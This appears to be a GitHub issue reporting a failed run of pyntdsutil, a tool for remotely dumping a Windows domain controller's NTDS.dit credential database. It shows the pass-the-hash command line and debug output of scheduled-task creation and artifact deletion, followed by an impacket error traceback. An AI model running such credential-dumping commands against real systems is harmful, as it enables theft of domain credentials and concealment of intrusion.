-
Notifications
You must be signed in to change notification settings - Fork 1
Open
Description
└─$ python3 pyntdsutil.py Server/Test_User@192.168.1.12 -hashes aad3b435b51404eeaad3b435b51404ee:8f89bfadcb04e668547b4893256de2
[*] Connected to 192.168.1.12 as Server\Test_User (Admin!)
[*] Abrupt termination may impact artifact cleanup
[*] Dumping NTDS.dit with ntdsutil.exe
ERROR: SMB SessionError: code: 0xc000003a - STATUS_OBJECT_PATH_NOT_FOUND - {Path Not Found} The path %hs does not exist.
with -debug
*] Abrupt termination may impact artifact cleanup
[+] Writing command input file for ntdsutil.exe to C:\PerfLogs\vtJCYp8kTl33IR0SAhvJeOALUTUZsoR.txt
[+] Creating task \LcmfCnQZcOtLksw1tK3IW0walewRbHM7
[+] Running task \LcmfCnQZcOtLksw1tK3IW0walewRbHM7
[+] Calling SchRpcGetLastRunInfo for \LcmfCnQZcOtLksw1tK3IW0walewRbHM7
[+] Deleting task \LcmfCnQZcOtLksw1tK3IW0walewRbHM7
[+] Attempting to read C$\Windows\Logs\CBS\LcmfCnQZcOtLksw1tK3IW0walewRbHM7.dmp
[+] Deleting file C$\Windows\Logs\CBS\LcmfCnQZcOtLksw1tK3IW0walewRbHM7.dmp
[*] Dumping NTDS.dit with ntdsutil.exe
[+] Creating task \hrlz98r75OpvInvXAG99C6Yz4NmHGIOXMJA7
[+] Running task \hrlz98r75OpvInvXAG99C6Yz4NmHGIOXMJA7
[+] Calling SchRpcGetLastRunInfo for \hrlz98r75OpvInvXAG99C6Yz4NmHGIOXMJA7
[+] Deleting task \hrlz98r75OpvInvXAG99C6Yz4NmHGIOXMJA7
[+] Attempting to read C$\Windows\Logs\CBS\hrlz98r75OpvInvXAG99C6Yz4NmHGIOXMJA7.bak
'ntdsutil.exe' is not recognized as an internal or external command,
operable program or batch file.
[+] Deleting file C$\Windows\Logs\CBS\hrlz98r75OpvInvXAG99C6Yz4NmHGIOXMJA7.bak
Traceback (most recent call last):
File "/home/kali/.local/lib/python3.11/site-packages/impacket/smbconnection.py", line 400, in listPath
return self._SMBConnection.list_path(shareName, path, password)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/kali/.local/lib/python3.11/site-packages/impacket/smb3.py", line 1791, in listPath
fileId = self.create(treeId, ntpath.dirname(path), FILE_READ_ATTRIBUTES | FILE_READ_DATA, FILE_SHARE_READ |
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/kali/.local/lib/python3.11/site-packages/impacket/smb3.py", line 1310, in create
if ans.isValidAnswer(STATUS_SUCCESS):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/kali/.local/lib/python3.11/site-packages/impacket/smb3structs.py", line 458, in isValidAnswer
raise smb3.SessionError(self['Status'], self)
impacket.smb3.SessionError: SMB SessionError: STATUS_OBJECT_PATH_NOT_FOUND({Path Not Found} The path %hs does not exist.)
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/home/kali/Desktop/pyntdsutil/pyntdsutil.py", line 82, in main
executor.run()
File "/home/kali/Desktop/pyntdsutil/pyntdsutil.py", line 459, in run
directories = self.smb_session.listPath(shareName=self.share, path=ntpath.normpath(self.tmp_share + self.dump_location + '\\Active Directory\\ntds.dit'))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/kali/.local/lib/python3.11/site-packages/impacket/smbconnection.py", line 402, in listPath
raise SessionError(e.get_error_code(), e.get_error_packet())
impacket.smbconnection.SessionError: SMB SessionError: code: 0xc000003a - STATUS_OBJECT_PATH_NOT_FOUND - {Path Not Found} The path %hs does not exist.
ERROR: SMB SessionError: code: 0xc000003a - STATUS_OBJECT_PATH_NOT_FOUND - {Path Not Found} The path %hs does not exist.
Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
No labels